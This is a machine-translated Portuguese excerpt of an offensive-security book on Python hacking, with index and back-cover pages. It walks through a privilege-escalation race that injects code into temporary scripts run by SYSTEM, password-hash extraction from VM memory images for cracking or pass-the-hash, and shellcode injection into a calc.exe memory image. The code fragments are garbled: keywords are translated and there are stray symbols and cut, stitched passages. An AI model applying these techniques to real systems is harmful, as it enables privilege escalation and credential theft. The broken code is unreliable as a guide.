notepad.exe,"C:\WINDOWS\system32\notepad.exe" ,740.508,N/A
20130907115237.095300-300,JUSTIN-V2TRL6LD\Administrador,C:\WINDOWS\system32\¬
calc.exe,"C:\WINDOWS\system32\calc.exe" ,2920.508,N/A
Depois de executar o script, executei notepad.exe e calc.exe. Você pode ver as informações
sendo geradas corretamente e perceber que ambos os processos tinham o PID pai definido como
508, que é o ID do processo explorer.exe em minha VM. Agora você pode fazer uma pausa
prolongada e deixar esse script rodar por um dia e ver todos os processos, tarefas agendadas e
vários atualizadores de software em execução. Você também pode detectar malware se tiver
(azar). Também é útil fazer logout e login novamente no seu destino, pois os eventos gerados a partir
dessas ações podem indicar processos privilegiados. Agora que implementamos o monitoramento
básico de processos, vamos preencher o campo de privilégios em nosso registro e aprender um
pouco sobre como os privilégios do Windows funcionam e por que eles são importantes.
Um token do Windows é, de acordo com a Microsoft: “um objeto que descreve o contexto de
segurança de um processo ou thread”.3 A forma como um token é inicializado e quais
permissões e privilégios são definidos em um token determinam quais tarefas esse processo ou
thread pode executar. Um desenvolvedor bem-intencionado pode ter um aplicativo na bandeja do
sistema como parte de um produto de segurança, que gostaria de dar a um usuário não privilegiado
a capacidade de controlar o serviço principal do Windows, que é um driver. O desenvolvedor usa a
função API nativa do Windows
www.it-ebooks.info
Machine Translated by Google
VejaBackupPrivilege Isso permite que o processo do usuário faça backup de arquivos e diretórios
e concede acesso READ aos arquivos, independentemente do que sua
ACL definir.
SeDebugPrivilege Isso permite que o processo do usuário depure outros processos. Isso também
inclui a obtenção de identificadores de processo para injetar DLLs ou código
em processos em execução.
SeLoadDriver Isso permite que um processo de usuário carregue ou descarrega drivers.
Agora que temos os fundamentos do que são privilégios e quais privilégios procurar, vamos
aproveitar o Python para recuperar automaticamente os privilégios habilitados nos processos que
estamos monitorando. Faremos uso dos módulos win32security, win32api e win32con . Se você
encontrar uma situação em que não consiga carregar esses módulos, todas as funções a seguir
poderão ser traduzidas em chamadas nativas usando a biblioteca ctypes; é apenas muito mais
trabalho. Adicione o seguinte código a process_monitor.py diretamente acima de nossa função
log_to_file existente :
def get_process_privileges(pid):
tentar:
#obtém um identificador para o processo alvo
em hproc=win32api.OpenProcess(win32con.PROCESS_QUERY_¬
INFORMAÇÃO,Falso,pid)
4. Para obter a lista completa de privilégios, visite http:// msdn.microsoft.com/ en-us/ library/ windows/ desktop/
bb530716(v=vs.85).aspx.
142 Capítulo 10
www.it-ebooks.info
Machine Translated by Google
retornar lista_privada
privilégios = "N/A"
para o seguinte:
privilégios = get_process_privileges(pid)
20130907233515.914176-300,JUSTIN-V2TRL6LD\Administrador,C:\WINDOWS\system32\¬
calc.exe,"C:\WINDOWS\system32\calc.exe" ,1004,508,SeChangeNotifyPrivilege|¬
SeImpersonatePrivilege|SeCreateGlobalPrivilege|
Você pode ver que estamos registrando corretamente os privilégios habilitados para
esses processos. Poderíamos facilmente colocar alguma inteligência no script para registrar
apenas processos executados como um usuário sem privilégios, mas com privilégios
interessantes ativados. Veremos como esse uso de monitoramento de processos nos permitirá
encontrar processos que utilizam arquivos externos de forma insegura.
www.it-ebooks.info
Machine Translated by Google
Vencendo a corrida
Scripts em lote, VBScript e scripts do PowerShell facilitam a vida dos administradores
de sistema, automatizando tarefas monótonas. Sua finalidade pode variar desde
registrar-se continuamente em um serviço de inventário central até forçar atualizações
de software de seus próprios repositórios. Um problema comum é a falta de ACLs
adequadas nesses arquivos de script. Em vários casos, em servidores seguros,
encontrei scripts em lote ou scripts do PowerShell que são executados uma vez por
dia pelo usuário SYSTEM e podem ser gravados globalmente por qualquer usuário.
Se você executar o monitor de processo por tempo suficiente em uma empresa
(ou simplesmente instalar o serviço de exemplo fornecido no início deste capítulo),
poderá ver registros de processo parecidos com estes:
20130907233515.914176-300,NT AUTHORITY\SYSTEM,C:\WINDOWS\system32\cscript.¬
exe, C:\WINDOWS\system32\cscript.exe /nologo "C:\WINDOWS\Temp\azndldsddfggg.¬
vbs",1004,4,SeChangeNotifyPrivilege|SeImpersonatePrivilege|SeCreateGlobal¬
Privilégio|
Você pode ver que um processo SYSTEM gerou o binário cscript.exe e passou
no parâmetro C:\WINDOWS\Temp\andldsddfggg.vbs . O serviço de exemplo fornecido
deve gerar esses eventos uma vez por minuto. Se você fizer uma listagem de diretórios,
não verá este arquivo presente. O que está acontecendo é que o serviço está criando
um nome de arquivo aleatório, colocando o VBScript no arquivo e, em seguida,
executando esse VBScript. Já vi essa ação executada por software comercial em
vários casos e já vi software que copia arquivos em um local temporário, executa e
depois exclui esses arquivos.
Para explorar esta condição, temos que vencer efetivamente uma corrida contra o código
em execução. Quando o software ou a tarefa agendada cria o arquivo, precisamos ser capazes
de injetar nosso próprio código no arquivo antes que o processo o execute e, finalmente, exclua-o.
O truque para isso é a útil API do Windows chamada ReadDirectoryChangesW, que nos permite
monitorar um diretório em busca de quaisquer alterações em arquivos ou subdiretórios. Também
podemos filtrar esses eventos para que possamos determinar quando o arquivo foi “salvo” para que
possamos injetar rapidamente nosso código antes de ser executado. Pode ser extremamente útil
simplesmente ficar de olho em todos os diretórios temporários por um período de 24 horas ou mais,
porque às vezes você encontrará bugs interessantes ou divulgações de informações além de
possíveis escalações de privilégios.
importar threading
importar arquivo win32
importar win32con
importe-nos
144 Capítulo 10
www.it-ebooks.info
Machine Translated by Google
ARQUIVO_RENAMED_FROM = 4
FILE_RENAMED_TO = 5
def start_monitor(caminho_para_watch):
FILE_LIST_DIRECTORY,
win32con.FILE_SHARE_READ | win32con.FILE_SHARE_WRITE | win32con.FILE_¬
SHARE_DELETE,
Nenhum,
win32con.OPEN_EXISTING,
win32con.FILE_FLAG_BACKUP_SEMANTICS, Nenhum)
enquanto 1:
tente:
Em resultados = win32file.ReadDirectoryChangesW(h_directory,
1024, True,
win32con.FILE_NOTIFY_CHANGE_FILE_NAME |
win32con.FILE_NOTIFY_CHANGE_DIR_NAME |
win32con.FILE_NOTIFY_CHANGE_ATTRIBUTES |
win32con.FILE_NOTIFY_CHANGE_SIZE
| .FILE_NOTIFY_CHANGE_LAST_WRITE |
win32con.FILE_NOTIFY_CHANGE_SECURITY, Nenhum,
Nenhum
www.it-ebooks.info
Machine Translated by Google
e tentar:
fd = open(nome_arquivo completo,"rb")
conteúdo = fd.read()
fd.fechar()
imprimir conteúdo
imprima "[^^^] Despejo concluído."
exceto:
imprimir "[!!!] Falha."
Chutando os pneus
C:\> cd %temp%
C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp> echo hello > filetest
C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp> renomear arquivotest file2test
C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp> del arquivo2test
146 Capítulo 10
www.it-ebooks.info
Machine Translated by Google
Se tudo acima funcionou conforme planejado, recomendo que você mantenha seu monitor de
arquivos funcionando por 24 horas em um sistema de destino. Você pode se surpreender (ou não)
ao ver arquivos sendo criados, executados e excluídos. Você também pode usar seu script de
monitoramento de processos para tentar encontrar caminhos de arquivos interessantes para
monitorar. As atualizações de software podem ser de particular interesse. Vamos prosseguir e
adicionar a capacidade de injetar código automaticamente em um arquivo de destino.
Injeção de código
Agora que podemos monitorar processos e locais de arquivos, vamos dar uma olhada em como
injetar código automaticamente nos arquivos de destino. As linguagens de script mais comuns
que já vi empregadas são VBScript, arquivos em lote e PowerShell. Criaremos trechos de código
muito simples que gerarão uma versão compilada de nossa ferramenta bhpnet.py com o nível de
privilégio do serviço de origem. Há uma vasta gama de coisas desagradáveis que você pode fazer
com essas linguagens de script;5 criaremos a estrutura geral para fazer isso e você poderá correr
solto a partir daí. Vamos modificar nosso script file_monitor.py e adicionar o seguinte código após
as constantes de modificação do arquivo:
você file_types = {}
5. Carlos Perez faz um trabalho incrível com PowerShell; consulte http:// www.darkoperator.com/.
www.it-ebooks.info
Machine Translated by Google
w fd = open(full_filename,"wb")
fd.write(full_contents)
fd.fechar()
retornar
--recorte--
ação elif == FILE_MODIFIED:
imprimir "[ * ] %s modificado" % full_filename
tentar:
fd = open(nome_arquivo completo,"rb")
conteúdo = fd.read()
fd.fechar()
imprimir conteúdo
imprima "[^^^] Despejo concluído."
exceto:
imprimir "[!!!] Falha."
148 Capítulo 10
www.it-ebooks.info
Machine Translated by Google
em if extensão em file_types:
inject_code(full_filename,extensão,conteúdo)
#### FIM DO NOVO CÓDIGO
--recorte--
Esta é uma adição bastante simples ao nosso loop primário. Fazemos uma divisão
rápida da extensão do arquivo u e, em seguida, verificamos em nosso dicionário de tipos
de arquivos conhecidos v. Se a extensão do arquivo for detectada em nosso dicionário,
chamamos nossa função inject_code . Vamos dar uma volta.
Chutando os pneus
www.it-ebooks.info
Machine Translated by Google
www.it-ebooks.info
Machine Translated by Google
11
Automatização
Perícia Forense Ofensiva
O pessoal forense é frequentemente chamado após uma violação ou para determinar se ocorreu
Para a sorte deles, uma equipe de desenvolvedores talentosos criou uma estrutura Python
completa adequada para esta tarefa chamada Volatilidade, anunciada como uma estrutura
Primeiro exploraremos o uso de alguns dos recursos de linha de comando para recuperar
hashes de senha de uma máquina virtual VMWare em execução e, em seguida, mostraremos
www.it-ebooks.info
Machine Translated by Google
Instalação
A volatilidade é extremamente fácil de instalar; você só precisa baixá-lo em https://
code.google.com/ p/ volatility/ downloads/ list. Normalmente não faço uma instalação
completa. Em vez disso, mantenho-o em um diretório local e adiciono o diretório ao meu
caminho de trabalho, como você verá nas seções a seguir. Um instalador do Windows também
está incluído. Escolha o método de instalação de sua preferência; deve funcionar bem, faça
o que fizer.
Perfis
A volatilidade usa o conceito de perfis para determinar como aplicar as assinaturas e
compensações necessárias para extrair informações dos despejos de memória. Mas se
você puder recuperar uma imagem de memória de um alvo via FireWire ou remotamente,
talvez não saiba necessariamente a versão exata do sistema operacional que está
atacando. Felizmente, o Volatility inclui um plugin chamado imageinfo
que tenta determinar qual perfil você deve usar no alvo.
Você pode executar o plugin assim:
Você saberá se definir o perfil errado porque nenhum dos plug-ins irá
funcionar corretamente ou o Volatility gerará erros indicando que não foi possível encontrar
um mapeamento de endereço adequado.
152 Capítulo 11
www.it-ebooks.info
Machine Translated by Google
Quer o alvo seja um usuário paranóico que executa operações de alto risco apenas em
uma VM ou uma empresa que tenta conter algumas das atividades de seus usuários com
VMs, as VMs representam um excelente ponto para coletar informações após você obter
acesso ao hardware hospedeiro.
A volatilidade torna esse processo de recuperação extremamente fácil. Primeiro,
veremos como operar os plug-ins necessários para recuperar os deslocamentos na memória
onde os hashes de senha podem ser recuperados e, em seguida, recuperar os próprios
hashes. Em seguida, criaremos um script para combinar isso em uma única etapa.
O Windows armazena senhas locais na seção de registro SAM em formato hash
e, junto com isso, a chave de inicialização do Windows armazenada na seção de registro
do sistema . Precisamos de ambas as colmeias para extrair os hashes de uma imagem de
memória. Para começar, vamos executar o plugin hivelist para fazer com que o Volatility
extraia os deslocamentos na memória onde essas duas colmeias residem. Em seguida,
passaremos essas informações para o plugin hashdump para fazer a extração real do hash.
Entre no seu terminal e execute o seguinte comando:
Depois de um ou dois minutos, você verá alguma saída exibindo onde essas seções
do registro residem na memória. Recortei uma parte da saída por uma questão de brevidade.
Na saída, você pode ver os deslocamentos de memória virtual e física do SAM e das chaves
do sistema em negrito. Tenha em mente que o deslocamento virtual trata de onde na memória,
em relação ao sistema operacional, essas colmeias existem. O deslocamento físico é o local no
arquivo .vmem real no disco onde essas seções existem. Agora que temos o SAM e os hives do
sistema , podemos passar os deslocamentos virtuais para o plugin hashdump . Volte ao seu
terminal e digite o seguinte comando, lembrando que seus endereços virtuais serão diferentes dos
que mostro.
www.it-ebooks.info
Machine Translated by Google
Administrador:500:74f77d7aaaddd538d5b79ae2610dd89d4c:537d8e4d99dfb5f5e92e1fa3¬ 77041b27:::
Perfeito! Agora podemos enviar os hashes para nossas ferramentas de cracking favoritas
ou execute um pass-the-hash para autenticar outros serviços.
Agora vamos pegar esse processo de duas etapas e simplificá-lo em nosso próprio
script independente. Abra grabhashes.py e digite o seguinte código:
sistema de importação
estrutura de importação
ÿ memory_file ÿ = "WindowsXPSP2.vmem"
sys.path.append("/Users/justin/Downloads/volatility-2.3.1")
registro.PluginImporter()
configuração = conf.ConfObject()
config.parse_options()
config.PROFILE = "WinXPSP2x86"
config.LOCATION = "arquivo://%s" % arquivo_de_memória
registro.register_global_options(config, comandos.Command)
registro.register_global_options(config, addrspace.BaseAddressSpace)
Primeiro definimos uma variável para apontar para a imagem de memória ÿ que vamos
analisar. Em seguida, incluímos nosso caminho de download do Volatility ÿ para que nosso
código possa importar com sucesso as bibliotecas do Volatility. O resto do código de suporte
serve apenas para configurar nossa instância de Volatility com perfil e opções de configuração
definidas também.
Agora vamos analisar nosso código de hash-dumping real. Adicione as seguintes linhas
a grabhashes.py.
ÿ registro = RegistryApi(config) ÿ
registro.populate_offsets()
154 Capítulo 11
www.it-ebooks.info
Machine Translated by Google
sam_offset = Nenhum
sys_offset = Nenhum
ÿ se registro.all_offsets[offset].endswith("\\SAM"):
sam_offset = deslocamento
imprimir "[*] SAM: 0x%08x" % deslocamento
ÿ hashdump = HashDump(config)
quebrar
Primeiro instanciamos uma nova instância de RegistryApi ÿ que é uma classe auxiliar com funções
de registro comumente usadas; leva apenas a configuração atual como parâmetro. A chamada
populate_offsets ÿ executa então o equivalente à execução do comando hivelist que abordamos
anteriormente. A seguir, começamos a percorrer cada uma das colmeias descobertas em busca do SAM
ÿ
e sistema ÿ colmeias. Quando eles são descobertos, atualizamos o objeto de configuração atual
com seus respectivos deslocamentos ÿ. Então criamos um HashDump
object ÿ e passe o objeto de configuração atual. A etapa final ÿ é iterar os resultados da chamada da
função calcular, que produz os nomes de usuário reais e seus hashes associados.
$ python grabhashes.py
Você deverá ver a mesma saída de quando executou os dois plug-ins independentemente.
Uma dica que sugiro é que, ao tentar encadear funcionalidades (ou pegar emprestadas
funcionalidades existentes), pesquise o código-fonte do Volatility para ver como eles estão fazendo as
coisas nos bastidores. Volatilidade não é uma biblioteca Python como Scapy, mas examinando
como os desenvolvedores usam seu código, você verá como usar corretamente quaisquer classes ou
funções que eles expõem.
Agora vamos passar para a engenharia reversa simples, bem como para a injeção de código
direcionado para infectar uma máquina virtual.
www.it-ebooks.info
Machine Translated by Google
classe cc_hook(LogBpHook):
def __init__(self):
LogBpHook.__init__(self)
self.imm = Depurador()
def execução(self,regs):
self.imm.log("%08x"% regs['EIP'],regs['EIP'])
self.imm.deleteBreakpoint(regs['EIP'])
retornar
156 Capítulo 11
www.it-ebooks.info
Machine Translated by Google
def principal(argumentos):
imm = Depurador()
calc = imm.getModule("calc.exe")
imm.analyseCode(calc.getCodebase())
funções = imm.getAllFunctions(calc.getCodebase())
prostituta = cc_hook()
Este é um script simples que encontra todas as funções em calc.exe e para cada uma
define um ponto de interrupção único. Isso significa que para cada função executada, o
Immunity Debugger gera o endereço da função e, em seguida, remove o ponto de interrupção
para que não registremos continuamente os mesmos endereços de função. Carregue
calc.exe no Immunity Debugger, mas não o execute ainda. Em seguida, na barra de comando
na parte inferior da tela do Immunity Debugger, digite:
!Cobertura de código
Agora você pode executar o processo pressionando a tecla F9. Se você mudar para a
visualização de log (alt-L), verá as funções rolarem. Agora clique em quantos botões desejar,
exceto o botão =. A ideia é que você queira executar tudo, menos a função que procura. Depois
de clicar o suficiente, clique com o botão direito na visualização de log e selecione Limpar
janela. Isso remove todas as funções atingidas anteriormente. Você pode verificar isso clicando
em um botão clicado anteriormente; você não deverá ver nada aparecer na janela de log.
Agora vamos clicar naquele incômodo botão =. Você deverá ver apenas uma única entrada
na tela de registro (talvez seja necessário inserir uma expressão como 3+3 e pressionar o
botão =). Na minha VM do Windows XP SP2, esse endereço é 0x01005D51.
Tudo bem! Nosso rápido tour pelo Immunity Debugger e algumas técnicas básicas de
cobertura de código terminou e temos o endereço onde queremos injetar o código. Vamos
começar a escrever nosso código de Volatilidade para fazer esse negócio desagradável.
Este é um processo de vários estágios. Primeiro precisamos verificar a memória em busca do processo calc.exe e, em seguida, procurar
em seu espaço de memória um local para injetar o shellcode, bem como encontrar o deslocamento físico na imagem RAM que contém a função
que encontramos anteriormente. Temos então que inserir um pequeno salto sobre o endereço da função do botão = que salta para o nosso
shellcode e o executa. O shellcode que usamos neste exemplo é de uma demonstração que fiz em uma fantástica conferência de
segurança canadense chamada Countermeasure. Este shellcode está usando compensações codificadas, então sua milhagem 2
pode variar.
2. Se você deseja escrever seu próprio shellcode MessageBox, consulte este tutorial: https:// www.corelan
.be/ index.php/ 2010/02/25/ exploit-writing-tutorial-part-9-introduction-to-win32-shellcoding/.
www.it-ebooks.info
Machine Translated by Google
sistema de importação
estrutura de importação
botão_igual = 0x01005D51
memory_file = "WinXPSP2.vmem"
slack_space = Nenhum
trampoline_offset = Nenhum
sys.path.append("/Users/justin/Downloads/volatility-2.3.1")
registro.PluginImporter()
configuração = conf.ConfObject()
registro.register_global_options(config, comandos.Command)
registro.register_global_options(config, addrspace.BaseAddressSpace)
config.parse_options()
config.PROFILE = "WinXPSP2x86"
config.LOCATION = "arquivo://%s"% arquivo_de_memória
Este código de configuração é idêntico ao código anterior que você escreveu, com a
exceção de que estamos lendo o shellcode ÿ que injetaremos na VM.
ÿ p = taskmods.PSList(config)
se str(process.ImageFileName) == "calc.exe":
158 Capítulo 11
www.it-ebooks.info
Machine Translated by Google
ÿ address_space = process.get_process_address_space() =
ÿ address_space.get_available_pages() páginas
Primeiro instanciamos uma nova classe PSList ÿ e passamos nossa configuração atual. O
módulo PSList é responsável por percorrer todos os processos em execução detectados na imagem
de memória. Iteramos sobre cada processo ÿ e se descobrirmos um processo calc.exe , obteremos
seu espaço de endereço completo ÿ e todas as páginas de memória do processo ÿ.
ÿ físico = endereço_space.vtop(página[0])
ÿ fd = open(memory_file,"r+")
fd.seek(físico)
buf = fd.read(página[1])
tentar:
ÿ deslocamento = buf.index("\x00" * len(sc))
slack_space = página[0] + deslocamento
ÿ fd.seek(físico + deslocamento)
fd.write(sc)
fd.flush()
exceto:
passar
fd.fechar()
www.it-ebooks.info
Machine Translated by Google
ÿ fd = open(arquivo_de_memória,
"r+") fd.seek(trampolim_offset)
fd.write(vagabundo)
fd.fechar()
Tudo bem! Vamos ver o que todo esse código faz. Quando iteramos em cada
página, o código retorna uma lista de dois membros onde page[0] é o endereço da página
e page[1] é o tamanho da página em bytes. À medida que percorremos cada página da
memória, primeiro encontramos o deslocamento físico (lembre-se do deslocamento na
imagem RAM no disco) ÿ de onde a página se encontra. Em seguida, abrimos a
imagem RAM ÿ, buscamos o deslocamento de onde a página está e então lemos toda
a página da memória. Em seguida, tentamos encontrar um pedaço de bytes NULL ÿ
do mesmo tamanho do nosso shellcode; é aqui que escrevemos o shellcode na
imagem RAM ÿ. Depois de encontrarmos um local adequado e injetarmos o shellcode,
pegamos o endereço do nosso shellcode e criamos um pequeno pedaço de opcodes
x86 ÿ. Esses opcodes geram o seguinte assembly:
160 Capítulo 11
www.it-ebooks.info
Machine Translated by Google
Chutando os pneus
A primeira etapa é fechar o Immunity Debugger se ele ainda estiver em execução e fechar
todas as instâncias do calc.exe. Agora abra calc.exe e execute seu script de injeção de
código. Você deverá ver uma saída como esta:
$ python code_inject.py
[*] Calc.exe encontrado com PID 1936
[*] Procurando compensações físicas... aguarde.
[*] Encontrada uma boa localização do shellcode!
[*] Endereço virtual: 0x00010817
[*] Endereço físico: 0x33155817
[*] Injetando shellcode.
[*] Encontrei nosso alvo de trampolim em: 0x3abccd51
[*] Escrevendo trampolim...
[*] Concluída a injeção de código.
www.it-ebooks.info
Machine Translated by Google
www.it-ebooks.info
Machine Translated by Google
Eu indexo
www.it-ebooks.info
Machine Translated by Google
Índice 164
www.it-ebooks.info
Machine Translated by Google
Índice 165
www.it-ebooks.info
Machine Translated by Google
Índice 166
www.it-ebooks.info
Machine Translated by Google
O propriedade , 124–125
Índice 167
www.it-ebooks.info
Machine Translated by Google
monitoramento de
processo, 139–141 teste, 141 com Resultados de envenenamento de cache
Índice 168
www.it-ebooks.info
Machine Translated by Google
testes, 29–30
tunelamento, 30–33 Clientes UDP, criação, 11
encaminhamento, função udp_sender , 44–45
30, 30f reverso, 30–33, 31f, biblioteca urllib2 , 62, 116
33f testes, função urlopen , 62
33 função ssh_command , 26–27
Guia Stack Data, WingIDE, 6–8 função EM
Índice 169
www.it-ebooks.info
Machine Translated by Google
Índice 170
www.it-ebooks.info
Machine Translated by Google
Atualizações
Gray Hat Python Python Hacking, 2ª edição The Art of The IDA Pro Book, 2ª edição O guia não
Programming for Hackers Exploitation por jon oficial para o desmontador
and ReverseEngineers por erickson fevereiro mais popular do mundo, por Chris
justin seitz abril de 2008, 488 pp., c/cd, $ 49,95 isbn Eagle, julho de
de 2009, 216 pp., $ 39,95 isbn 978-1-59327-144-2 2011, 672 pp., $ 69,95 isbn
978-1-59327-192-3 978-1-59327-289-0
e-mail:
telefone: [email protected]
www.it-ebooks.info
Machine Translated by Google
www.it-ebooks.info
Machine Translated by Google
Quando se trata de criar ferramentas de hacking poderosas Estenda a popular ferramenta de hacking da
e eficazes, Python é a linguagem preferida da maioria dos web Burp Suite
analistas de segurança. Mas como a mágica acontece?
Abuse da automação do Windows COM para
realizar um ataque man-in-the-browser
Em Black Hat Python, o mais recente de Justin Seitz (autor
Exfiltrar dados de uma rede de maneira mais
do best-seller Gray Hat Python), você explorará o lado
sorrateira
mais obscuro das capacidades do Python: escrever
sniffers de rede, manipular pacotes, infectar máquinas
Técnicas internas e desafios criativos mostram como
virtuais, criar trojans furtivos, e mais. Você aprenderá
estender os hacks e como escrever suas próprias façanhas.
como:
ISBN: 978-1-59327-590-7
53495